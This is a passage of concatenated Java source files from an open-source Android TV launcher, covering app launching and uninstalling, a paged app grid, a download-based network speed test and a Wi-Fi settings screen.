mFavoriteButton .setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View arg0, boolean arg1) { if (arg1 == true) { ViewPropertyAnimator propertyAnimator = mFavoriteButton.animate(); propertyAnimator.scaleX(1.2f); propertyAnimator.scaleY(1.2f); propertyAnimator.setDuration(100); propertyAnimator.start(); }else{ ViewPropertyAnimator propertyAnimator = mFavoriteButton.animate(); propertyAnimator.scaleX(1.0f); propertyAnimator.scaleY(1.0f); propertyAnimator.setDuration(100); propertyAnimator.start(); } } }); mRemoveButton .setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View arg0, boolean arg1) { if (arg1 == true) { ViewPropertyAnimator propertyAnimator = mRemoveButton.animate(); propertyAnimator.scaleX(1.2f); propertyAnimator.scaleY(1.2f); propertyAnimator.setDuration(100); propertyAnimator.start(); }else{ ViewPropertyAnimator propertyAnimator = mRemoveButton.animate(); propertyAnimator.scaleX(1.0f); propertyAnimator.scaleY(1.0f); propertyAnimator.setDuration(100); propertyAnimator.start(); } } }); mLauncherButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { PackageManager manager = mContext.getPackageManager(); String packageName = mAppList.get(position).getPackageName(); Intent intent = new Intent(); intent = manager.getLaunchIntentForPackage(packageName); mContext.startActivity(intent); mPopupWindow.dismiss(); } }); mUpdateButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { Toast.makeText(mContext, "更新-更新", Toast.LENGTH_SHORT).show(); mPopupWindow.dismiss(); } }); mFavoriteButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { Toast.makeText(mContext, "收藏-收藏", Toast.LENGTH_SHORT).show(); mPopupWindow.dismiss(); } }); mRemoveButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { Toast.makeText(mContext, "卸载--卸载", Toast.LENGTH_SHORT).show(); String packageName = mAppList.get(position).getPackageName(); Log.i(TAG, "packageName===" + packageName); Uri packageURI = Uri.parse("package:" + packageName); Intent uninstallIntent = new Intent(Intent.ACTION_DELETE, packageURI); mContext.startActivity(uninstallIntent); // appIcons[position].setVisibility(view.INVISIBLE); // appNames[position].setVisibility(view.INVISIBLE); mPopupWindow.dismiss(); } }); } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/app/AppUninstall.java
src/com/droid/activitys/app/AppUninstall.java
package com.droid.activitys.app; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; import android.net.Uri; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.AdapterView; import android.widget.ListView; import com.droid.R; import com.droid.adapter.AppUninstallAdapter; import com.droid.utils.Tools; import com.droid.bean.AppBean; import java.util.List; /** * @author Droid * 应用卸载类 */ public class AppUninstall extends Activity implements View.OnClickListener { private static final String TAG = "UPDATE"; private static final boolean d = false; private ListView listView; private AppUninstallAdapter adapter; private List<AppBean> mAppList; private Context context; private Receiver receiver; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setContentView(R.layout.app_uninstall); context = this; init(); } private void init() { listView = (ListView) findViewById(R.id.app_uninstall_lv); GetAppList getAppInstance = new GetAppList(context); mAppList = getAppInstance.getUninstallAppList(); adapter = new AppUninstallAdapter(context,mAppList); listView.setAdapter(adapter); listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { Uri packageURI = Uri.parse("package:" + mAppList.get(position).getPackageName()); Intent uninstallIntent = new Intent(Intent.ACTION_DELETE, packageURI); context.startActivity(uninstallIntent); } }); } @Override protected void onRestart() { super.onRestart(); Log.i(TAG, "============onRestart========"); } @Override protected void onStart() { super.onStart(); Log.i(TAG, "============onStart========"); receiver = new Receiver(); IntentFilter filter = new IntentFilter(); filter.addAction("android.intent.action.PACKAGE_ADDED"); filter.addAction("android.intent.action.PACKAGE_REMOVED"); filter.addDataScheme("package"); this.registerReceiver(receiver, filter); } @Override protected void onDestroy() { super.onDestroy(); Log.i(TAG, "============onDestroy========"); if(receiver != null) { this.unregisterReceiver(receiver); } } @Override protected void onPause() { super.onPause(); Log.i(TAG, "=====onPause==========="); } @Override protected void onResume() { super.onResume(); Log.i(TAG, "=========onResume======="); } @Override public void onClick(View v) { } private class Receiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent){ //接收安装广播 if (intent.getAction().equals("android.intent.action.PACKAGE_ADDED")) { String packageName = intent.getDataString(); List<ResolveInfo> list = Tools.findActivitiesForPackage(context, packageName); ResolveInfo info = list.get(0); PackageManager localPackageManager = context.getPackageManager(); AppBean localAppBean = new AppBean(); localAppBean.setIcon(info.activityInfo.loadIcon(localPackageManager)); localAppBean.setName(info.activityInfo.loadLabel(localPackageManager).toString()); localAppBean.setPackageName(info.activityInfo.packageName); localAppBean.setDataDir(info.activityInfo.applicationInfo.publicSourceDir); mAppList.add(localAppBean); } //接收卸载广播 if (intent.getAction().equals("android.intent.action.PACKAGE_REMOVED")) { String receiverName = intent.getDataString(); receiverName = receiverName.substring(8); AppBean appBean; for(int i=0;i<mAppList.size();i++){ appBean = mAppList.get(i); String packageName = appBean.getPackageName(); if(packageName.equals(receiverName)){ mAppList.remove(i); adapter.notifyDataSetChanged(); } } } } } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/app/AllApp.java
src/com/droid/activitys/app/AllApp.java
package com.droid.activitys.app; import android.annotation.SuppressLint; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.Color; import android.util.AttributeSet; import android.view.Gravity; import android.view.LayoutInflater; import android.view.View; import android.view.animation.Animation; import android.view.animation.AnimationUtils; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.TextView; import com.droid.R; import com.droid.bean.AppBean; import java.util.List; @SuppressLint("NewApi") public class AllApp extends LinearLayout implements View.OnClickListener{ public AllApp(Context context, AttributeSet attrs) { super(context, attrs); } public AllApp(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); } private Context mContext; private ImageView appIcons[] = new ImageView[15]; private LinearLayout appItems[] = new LinearLayout[15]; int iconIds[] = {R.id.app_icon0,R.id.app_icon1,R.id.app_icon2, R.id.app_icon3,R.id.app_icon4,R.id.app_icon5, R.id.app_icon6,R.id.app_icon7,R.id.app_icon8, R.id.app_icon9,R.id.app_icon10,R.id.app_icon11, R.id.app_icon12,R.id.app_icon13,R.id.app_icon14}; private TextView appNames[] = new TextView[15]; int nameIds[] = {R.id.app_name0,R.id.app_name1,R.id.app_name2, R.id.app_name3,R.id.app_name4,R.id.app_name5, R.id.app_name6,R.id.app_name7,R.id.app_name8, R.id.app_name9,R.id.app_name10,R.id.app_name11, R.id.app_name12,R.id.app_name13,R.id.app_name14}; int itemIds[] = { R.id.app_item0,R.id.app_item1,R.id.app_item2, R.id.app_item3,R.id.app_item4,R.id.app_item5, R.id.app_item6,R.id.app_item7,R.id.app_item8, R.id.app_item9,R.id.app_item10,R.id.app_item11, R.id.app_item12,R.id.app_item13,R.id.app_item14 }; public AllApp(Context context) { super(context); mContext = context; } private List<AppBean> mAppList = null; private int mPagerIndex = -1; private int mPagerCount = -1; public void setAppList(List<AppBean> list, int pagerIndex, int pagerCount) { mAppList = list; mPagerIndex = pagerIndex; mPagerCount = pagerCount; } public void managerAppInit() { View v = LayoutInflater.from(mContext).inflate(R.layout.item_pager_layout, null); LayoutParams params = new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT); params.gravity = Gravity.CENTER; int itemCount = -1; if(mPagerIndex < mPagerCount - 1) { itemCount = 15; }else { itemCount = (mAppList.size() - (mPagerCount-1)*15); } for(int i = 0; i < itemCount; i++) { appIcons[i] = (ImageView) v.findViewById(iconIds[i]); appNames[i] = (TextView)v.findViewById(nameIds[i]); appIcons[i].setImageDrawable(mAppList.get(mPagerIndex*15 + i).getIcon()); appItems[i] = (LinearLayout)v.findViewById(itemIds[i]); appNames[i].setText(mAppList.get(mPagerIndex * 15 + i).getName()); appItems[i].setVisibility(View.VISIBLE); appItems[i].setOnClickListener(this); // appItems[i].setOnFocusChangeListener(focusChangeListener); } addView(v); } public View.OnFocusChangeListener focusChangeListener = new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { int focus = 0; if (hasFocus) { focus = R.anim.enlarge; } else { focus = R.anim.decrease; } // 如果有焦点就放大,没有焦点就缩小 Animation mAnimation = AnimationUtils.loadAnimation( mContext, focus); mAnimation.setBackgroundColor(Color.TRANSPARENT); mAnimation.setFillAfter(hasFocus); v.startAnimation(mAnimation); mAnimation.start(); v.bringToFront(); } }; @SuppressLint("NewApi") @Override public void onClick(View arg0) { int id = arg0.getId(); int position = -1; switch(id) { case R.id.app_item0: position = mPagerIndex*15 + 0; break; case R.id.app_item1: position = mPagerIndex*15 + 1; break; case R.id.app_item2: position = mPagerIndex*15 + 2; break; case R.id.app_item3: position = mPagerIndex*15 + 3; break; case R.id.app_item4: position = mPagerIndex*15 + 4; break; case R.id.app_item5: position = mPagerIndex*15 + 5; break; case R.id.app_item6: position = mPagerIndex*15 + 6; break; case R.id.app_item7: position = mPagerIndex*15 + 7; break; case R.id.app_item8: position = mPagerIndex*15 + 8; break; case R.id.app_item9: position = mPagerIndex*15 + 9; break; case R.id.app_item10: position = mPagerIndex*15 + 10; break; case R.id.app_item11: position = mPagerIndex*15 + 11; break; case R.id.app_item12: position = mPagerIndex*15 + 12; break; case R.id.app_item13: position = mPagerIndex*15 + 13; break; case R.id.app_item14: position = mPagerIndex*15 + 14; break; default: break; } if(position != -1) { PackageManager manager = mContext.getPackageManager(); String packageName = mAppList.get(position).getPackageName(); Intent intent=new Intent(); intent =manager.getLaunchIntentForPackage(packageName); mContext.startActivity(intent); } } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/app/AppFragment.java
src/com/droid/activitys/app/AppFragment.java
package com.droid.activitys.app; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.os.Bundle; import android.support.v4.view.ViewPager; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.view.animation.AccelerateInterpolator; import android.widget.TextView; import com.droid.R; import com.droid.activitys.WoDouGameBaseFragment; import com.droid.views.Rotate3dAnimation; import com.droid.adapter.DataPagerAdapter; import com.droid.bean.AppBean; import java.util.ArrayList; import java.util.List; public class AppFragment extends WoDouGameBaseFragment { private Context mContext; private List<AppBean> mAppList = null; private int mPagerCount = -1;//一共的页数 private List<AllApp> mPagerListAllApp = new ArrayList<AllApp>(); private ViewPager mViewPager = null; private static final String TAG = "AppFragment"; private static final boolean d = false; private TextView pointer = null; private Rotate3dAnimation rotation; private Receiver receiver; private DataPagerAdapter<AllApp> adapter; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mContext = getActivity(); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = LayoutInflater.from(getActivity()).inflate(R.layout.fragment_app, null); mViewPager = (ViewPager) view.findViewById(R.id.app_view_pager); pointer = (TextView) view.findViewById(R.id.app_pointer); initAnimation(); pointer.startAnimation(rotation); initAllApp(); mViewPager.setOnPageChangeListener(pageChangeListener); return view; } /** * 3D旋转动画 */ private void initAnimation() { rotation = new Rotate3dAnimation(0, 360, 25, 25, 0.0f, false); rotation.setDuration(700); rotation.setFillAfter(true); rotation.setInterpolator(new AccelerateInterpolator(2.0f)); } private ViewPager.OnPageChangeListener pageChangeListener = new ViewPager.OnPageChangeListener() { @Override public void onPageScrolled(int i, float v, int i2) { } @Override public void onPageSelected(int position) { pointer.startAnimation(rotation); pointer.setText((position + 1) + "/" + mPagerCount); } @Override public void onPageScrollStateChanged(int i) { } }; @Override public void setUserVisibleHint(boolean isVisibleToUser) { super.setUserVisibleHint(isVisibleToUser); if (isVisibleToUser) { if (pointer != null) { pointer.startAnimation(rotation); } } else { } } /** * 初始化app数据和布局 */ public void initAllApp() { GetAppList getAppInstance = new GetAppList(mContext); mAppList = getAppInstance.getLaunchAppList(); if (mPagerListAllApp != null && mPagerListAllApp.size() > 0) { mPagerListAllApp.clear(); } if (mAppList.size() % 15 == 0) { mPagerCount = mAppList.size() / 15; } else { mPagerCount = mAppList.size() / 15 + 1; } for (int i = 0; i < mPagerCount; i++) { AllApp mAllayout = new AllApp(mContext); mAllayout.setAppList(mAppList, i, mPagerCount); mAllayout.managerAppInit(); mPagerListAllApp.add(mAllayout); } adapter = new DataPagerAdapter<AllApp>(mContext, mPagerListAllApp); mViewPager.setAdapter(adapter); } @Override public void onResume() { super.onResume(); } @Override public void onAttach(Activity activity) { super.onAttach(activity); } @Override public void onViewCreated(View view, Bundle savedInstanceState) { super.onViewCreated(view, savedInstanceState); } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); } @Override public void onStart() { super.onStart(); receiver = new Receiver(); IntentFilter filter = new IntentFilter(); filter.addAction("android.intent.action.PACKAGE_ADDED"); filter.addAction("android.intent.action.PACKAGE_REMOVED"); filter.addDataScheme("package"); mContext.registerReceiver(receiver, filter); } @Override public void onPause() { super.onPause(); } @Override public void onStop() { super.onStop(); } @Override public void onDestroyView() { super.onDestroyView(); } @Override public void onDestroy() { super.onDestroy(); if (receiver != null) { mContext.unregisterReceiver(receiver); } } @Override public void onDetach() { super.onDetach(); } private class Receiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //安装广播 if (intent.getAction().equals("android.intent.action.PACKAGE_ADDED")) { initAllApp(); } //卸载广播 if (intent.getAction().equals("android.intent.action.PACKAGE_REMOVED")) { initAllApp(); } } } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/speedtest/ReadFileUtil.java
src/com/droid/activitys/speedtest/ReadFileUtil.java
package com.droid.activitys.speedtest; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnection; public class ReadFileUtil { public static byte[] ReadFileFromURL(String URL, NetworkSpeedInfo info) { int FileLenth = 0; long startTime = 0; long intervalTime = 0; byte[] b = null; URL mUrl = null; URLConnection mUrlConnection = null; InputStream inputStream = null; try { mUrl = new URL(URL); mUrlConnection = mUrl.openConnection(); mUrlConnection.setConnectTimeout(15000); mUrlConnection.setReadTimeout(15000); FileLenth = mUrlConnection.getContentLength(); inputStream = mUrlConnection.getInputStream(); NetworkSpeedInfo.totalBytes = FileLenth; b = new byte[FileLenth]; startTime = System.currentTimeMillis(); BufferedReader bufferReader = new BufferedReader(new InputStreamReader(mUrlConnection.getInputStream())); String line; byte buffer[]; while (NetworkSpeedInfo.FILECANREAD&&((line = bufferReader.readLine()) != null)&&FileLenth>NetworkSpeedInfo.FinishBytes) { buffer = line.getBytes(); intervalTime = System.currentTimeMillis() - startTime; NetworkSpeedInfo.FinishBytes = NetworkSpeedInfo.FinishBytes + buffer.length; if (intervalTime == 0) { NetworkSpeedInfo.Speed = 1000; } else { NetworkSpeedInfo.Speed = NetworkSpeedInfo.FinishBytes / intervalTime; double a=(double)NetworkSpeedInfo.FinishBytes/NetworkSpeedInfo.totalBytes*100; NetworkSpeedInfo.progress=(int) a; } } } catch (Exception e) { e.printStackTrace(); } finally { try { if (inputStream != null) { inputStream.close(); } } catch (IOException e) { e.printStackTrace(); } } return b; } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/speedtest/NetworkSpeedInfo.java
src/com/droid/activitys/speedtest/NetworkSpeedInfo.java
package com.droid.activitys.speedtest; public class NetworkSpeedInfo { public static long Speed = 0; public static long FinishBytes = 0; public static long totalBytes = 1024; public static Boolean FILECANREAD = true; public int networkType = 0; public int loadFileNum = 0; public static int progress; }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/speedtest/SpeedTestActivity.java
src/com/droid/activitys/speedtest/SpeedTestActivity.java
package com.droid.activitys.speedtest; import java.util.ArrayList; import java.util.List; import android.app.Activity; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.view.View; import android.view.View.OnClickListener; import android.view.Window; import android.widget.Button; import android.widget.LinearLayout; import android.widget.ProgressBar; import android.widget.TextView; import com.droid.R; public class SpeedTestActivity extends Activity implements OnClickListener { private Button DidNotStart;//未开始 private Button InStart;//已开始 private Button StartAgain;//再次开始 private LinearLayout DidNotStartLayout; private LinearLayout InStartLayout; private LinearLayout StartAgainLayout; private long CurrenSpeed = 0;//当前速度 private long AverageSpeed = 0;//平均速度 private long SpeedTaital = 0; private byte[] FileData = null; private NetworkSpeedInfo networkSpeedInfo = null; private String URL = "http://gdown.baidu.com/data/wisegame/6546ec811c58770b/labixiaoxindamaoxian_8.apk"; private List<Long> list = new ArrayList<Long>(); private final int PROGRESSCHANGE = 0; private final int SPEEDUPDATE = 1; private final int SPEED_FINISH = 2; private ProgressBar SpeedProgressBar; private TextView Speed; private TextView percent; private TextView Movie_TYPE; private int progress; private Thread thread; private Boolean THREADCANRUN = true; private Boolean PROGRESSTHREADCANRUN = true; private Handler handler = new Handler() { @Override public void handleMessage(Message msg) { switch (msg.what) { case PROGRESSCHANGE: progress = NetworkSpeedInfo.progress; percent.setText(progress + "%"); if (progress < 100) { SpeedProgressBar.setProgress(progress); } else { InStart.performClick(); PROGRESSTHREADCANRUN = false; progress = 0; SpeedProgressBar.setProgress(progress); } break; case SPEEDUPDATE: CurrenSpeed = NetworkSpeedInfo.Speed; list.add(CurrenSpeed); for (long speed : list) { SpeedTaital += speed; } AverageSpeed = SpeedTaital / list.size(); Speed.setText(AverageSpeed + "kb/s"); if (AverageSpeed <= 200) { Movie_TYPE.setText("普清电影"); } else if (AverageSpeed <= 400) { Movie_TYPE.setText("高清电影"); } else if (AverageSpeed > 400) { Movie_TYPE.setText("超清电影"); } SpeedTaital = 0; break; case SPEED_FINISH: Speed.setText(AverageSpeed + "kb/s"); if (AverageSpeed <= 200) { Movie_TYPE.setText("普清电影"); } else if (AverageSpeed <= 400) { Movie_TYPE.setText("高清电影"); } else if (AverageSpeed > 400) { Movie_TYPE.setText("超清电影"); } PROGRESSTHREADCANRUN = false; THREADCANRUN = false; NetworkSpeedInfo.FILECANREAD = false; break; } } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.speedactivity_main); Init(); } public void Init() { networkSpeedInfo = new NetworkSpeedInfo(); DidNotStart = (Button) findViewById(R.id.speedtest_btn_start); InStart = (Button) findViewById(R.id.speedtset_btn_stoptest); StartAgain = (Button) findViewById(R.id.speedtest_btn_startagain); DidNotStart.setOnClickListener(this); InStart.setOnClickListener(this); StartAgain.setOnClickListener(this); DidNotStartLayout = (LinearLayout) findViewById(R.id.speedtset_didinotlayout); InStartLayout = (LinearLayout) findViewById(R.id.speedtest_instartlayout); StartAgainLayout = (LinearLayout) findViewById(R.id.speedtest_startagainlayout); SpeedProgressBar = (ProgressBar) findViewById(R.id.speedtest_progressBar); Speed = (TextView) findViewById(R.id.speedtest_speed); Movie_TYPE = (TextView) findViewById(R.id.speed_movietype); percent = (TextView) findViewById(R.id.speed_test_percent); } @Override public void onClick(View arg0) { switch (arg0.getId()) { case R.id.speedtest_btn_start: DidNotStartLayout.setVisibility(View.GONE); InStartLayout.setVisibility(View.VISIBLE); StartAgainLayout.setVisibility(View.GONE); InStart.requestFocus(); InStart.requestFocusFromTouch(); PROGRESSTHREADCANRUN = true; THREADCANRUN = true; NetworkSpeedInfo.FILECANREAD = true; new Thread() { @Override public void run() { FileData = ReadFileUtil.ReadFileFromURL(URL, networkSpeedInfo); } }.start(); thread = new Thread() { @Override public void run() { while (THREADCANRUN) { try { sleep(50); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } handler.sendEmptyMessage(SPEEDUPDATE); if (NetworkSpeedInfo.FinishBytes >= NetworkSpeedInfo.totalBytes) { handler.sendEmptyMessage(SPEED_FINISH); NetworkSpeedInfo.FinishBytes = 0; } } } }; thread.start(); new Thread() { @Override public void run() { // TODO Auto-generated method stub while (PROGRESSTHREADCANRUN) { try { sleep(500); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } handler.sendEmptyMessage(PROGRESSCHANGE); } } }.start(); break; case R.id.speedtset_btn_stoptest: StartAgainLayout.setVisibility(View.VISIBLE); InStartLayout.setVisibility(View.GONE); DidNotStartLayout.setVisibility(View.GONE); StartAgain.requestFocus(); StartAgain.requestFocusFromTouch(); NetworkSpeedInfo.progress = 0; NetworkSpeedInfo.FinishBytes = 0; handler.sendEmptyMessage(SPEED_FINISH); break; case R.id.speedtest_btn_startagain: DidNotStartLayout.setVisibility(View.VISIBLE); StartAgainLayout.setVisibility(View.GONE); InStartLayout.setVisibility(View.GONE); break; } } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/wifi/WifiActivity.java
src/com/droid/activitys/wifi/WifiActivity.java
package com.droid.activitys.wifi; import java.util.List; import android.annotation.SuppressLint; import android.app.Activity; import android.app.AlertDialog; import android.app.Dialog; import android.content.Context; import android.content.pm.ActivityInfo; import android.net.wifi.ScanResult; import android.net.wifi.WifiInfo; import android.net.wifi.WifiManager; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.view.Gravity; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.View.OnFocusChangeListener; import android.view.Window; import android.view.WindowManager; import android.widget.AdapterView; import android.widget.AdapterView.OnItemClickListener; import android.widget.AdapterView.OnItemSelectedListener; import android.widget.Button; import android.widget.EditText; import android.widget.ImageView; import android.widget.ListView; import android.widget.RelativeLayout; import android.widget.Switch; import android.widget.TextView; import android.widget.Toast; import com.droid.R; import com.droid.activitys.wifi.util.WiFiAdmin; public class WifiActivity extends Activity implements OnClickListener,OnItemClickListener{ private ListView WifiListView; private WAndB_WifilistAdapter adapter; private List<ScanResult> scanResults; private WiFiAdmin wiFiAdmin; private Switch WifiSwitch; private String ConnectSSID=""; private TextView Wifi_StateDisplay; private ImageView Arrowtop; private final int WIFI_OPEN_FINISH=1;//开启完成 private final int WIFI_FOUND_FINISH=0;//查找完成 private final int WIFI_SCAN=2;//wifi扫描 private final int WIFI_CLOSE=3;//关闭wifi private final int WIFI_INFO=4; private final int WIFI_STATE_INIT=5;//加载页面 private Dialog ConnectDialog; private int NetId;//WIFI连接状态 @SuppressLint("HandlerLeak") final Handler handler=new Handler(){ @Override public void handleMessage(Message msg) { switch (msg.what) { case WIFI_FOUND_FINISH: scanResults=wiFiAdmin.GetWifilist(); adapter.notifyDataSetChanged(); break; case WIFI_STATE_INIT: int wifiState=wiFiAdmin.GetWifiState(); if(wifiState==wiFiAdmin.getWifiManager().WIFI_STATE_DISABLED){ //wifi不可用啊 Wifi_StateDisplay.setText("WiFi 网卡未打开"); }else if(wifiState==wiFiAdmin.getWifiManager().WIFI_STATE_UNKNOWN){//wifi 状态未知 Wifi_StateDisplay.setText("WiFi 网卡状态未知"); }else if(wifiState==wiFiAdmin.getWifiManager().WIFI_STATE_ENABLED){//OK 可用 WifiSwitch.setChecked(true); wiFiAdmin.StartScan(); scanResults =wiFiAdmin.GetWifilist(); handler.sendEmptyMessageDelayed(WIFI_SCAN, 1000); if(wiFiAdmin.isWifiEnable()){ Toast.makeText(WifiActivity.this, "wifi已经打开", Toast.LENGTH_SHORT).show(); }else { Toast.makeText(WifiActivity.this, "请 开启 wifi", Toast.LENGTH_SHORT).show(); } } break; case WIFI_OPEN_FINISH: scanResults=wiFiAdmin.GetWifilist(); adapter=new WAndB_WifilistAdapter(WifiActivity.this, scanResults); WifiListView.setAdapter(adapter); break; case WIFI_SCAN: wiFiAdmin.StartScan(); scanResults=wiFiAdmin.GetWifilist(); Wifi_StateDisplay.setText("正在扫描附近的WIFI..."); if(scanResults==null){ handler.sendEmptyMessageDelayed(WIFI_SCAN, 1000); }else if(scanResults.size()==0){ handler.sendEmptyMessageDelayed(WIFI_SCAN, 1000); SetScanResult(); }else{ Wifi_StateDisplay.setText("附近WiFi"); adapter=new WAndB_WifilistAdapter(WifiActivity.this, scanResults); WifiListView.setAdapter(adapter); } break; case WIFI_CLOSE: SetScanResult(); Wifi_StateDisplay.setText("WIFI已关闭"); break; case WIFI_INFO: if(wiFiAdmin.GetSSID().endsWith("<unknown ssid>")||wiFiAdmin.GetSSID().endsWith("NULL")){ wiFiAdmin.getWifiConnectInfo(); Wifi_StateDisplay.setText("无WIFI连接"); handler.sendEmptyMessageDelayed(WIFI_INFO, 2500); }else if(wiFiAdmin.GetSSID().equals("NULL")){ wiFiAdmin.getWifiConnectInfo(); Wifi_StateDisplay.setText("无连接,请选择合适的WiFi连接"); handler.sendEmptyMessageDelayed(WIFI_INFO, 2500); }else{ wiFiAdmin.getWifiConnectInfo(); if(wiFiAdmin.GetIntIp().equals("")){ handler.sendEmptyMessageDelayed(WIFI_INFO, 2500); } Wifi_StateDisplay.setText("已连接到"+wiFiAdmin.GetSSID()+"若切换有线网络请连接网线"); ConnectDialog.dismiss(); ConnectSSID=wiFiAdmin.GetSSID(); Toast.makeText(WifiActivity.this, ConnectSSID, Toast.LENGTH_SHORT).show(); Toast.makeText(WifiActivity.this, "连接成功", Toast.LENGTH_SHORT).show(); } break; } super.handleMessage(msg); } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.wandb_wifipager); if(getRequestedOrientation()!=ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE){ setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); } InitData(); handler.sendEmptyMessageDelayed(WIFI_STATE_INIT, 1000); } public void InitData(){ wiFiAdmin=new WiFiAdmin(WifiActivity.this); ConnectDialog=new AlertDialog.Builder(WifiActivity.this).create(); WifiListView=(ListView)findViewById(R.id.wandb_wifi_listview); WifiSwitch=(Switch)findViewById(R.id.wifi_switch); Arrowtop=(ImageView)findViewById(R.id.wifi_arrowtop); Wifi_StateDisplay=(TextView)findViewById(R.id.wifi_statedispaly); WifiListView.setOnItemClickListener(this); WifiListView.setOnItemSelectedListener(new OnItemSelectedListener() { @Override public void onItemSelected(AdapterView<?> arg0, View arg1, int arg2, long arg3) { if(arg2==0){ Arrowtop.setVisibility(View.INVISIBLE); }else{ Arrowtop.setVisibility(View.VISIBLE); } } @Override public void onNothingSelected(AdapterView<?> arg0) { // TODO Auto-generated method stub } }); WifiSwitch.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { if(WifiSwitch.isChecked()){ wiFiAdmin.OpenWifi(); wiFiAdmin.StartScan(); scanResults=wiFiAdmin.GetWifilist(); handler.sendEmptyMessageDelayed(WIFI_SCAN, 1000); Toast.makeText(WifiActivity.this, "打开 WiFi", Toast.LENGTH_SHORT).show(); }else{ wiFiAdmin.CloseWifi(); handler.sendEmptyMessage(WIFI_CLOSE); Toast.makeText(WifiActivity.this, "关闭 WiFi", Toast.LENGTH_SHORT).show(); } } }); } public void SetScanResult(){ wiFiAdmin.StartScan(); scanResults=wiFiAdmin.GetWifilist(); adapter=new WAndB_WifilistAdapter(WifiActivity.this, scanResults); WifiListView.setAdapter(adapter); } @Override public void onClick(View arg0) { // TODO Auto-generated method stub } @Override public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, long arg3) { // TODO Auto-generated method stub if(GetNowWifiSSID().equals("\""+scanResults.get(arg2).SSID+"\"")){ Toast.makeText(WifiActivity.this, "当前已连接此网络", Toast.LENGTH_SHORT).show(); }else{ final int Num=arg2; LayoutInflater layoutInflater=LayoutInflater.from(WifiActivity.this); View view=(RelativeLayout)layoutInflater.inflate(R.layout.connect_wifidialog, null); TextView WifiName=(TextView)view.findViewById(R.id.wifidialog_name); WifiName.setText(scanResults.get(arg2).SSID); ConnectDialog.show(); ConnectDialog.getWindow().setContentView(view); Window dialogwWindow=ConnectDialog.getWindow(); WindowManager.LayoutParams params=dialogwWindow.getAttributes(); dialogwWindow.setGravity(Gravity.CENTER_HORIZONTAL | Gravity.CENTER_VERTICAL); params.x=0; params.y=0; params.width=750;//宽 params.height=400;//高 params.softInputMode=0; dialogwWindow.setAttributes(params); ConnectDialog.show(); Button 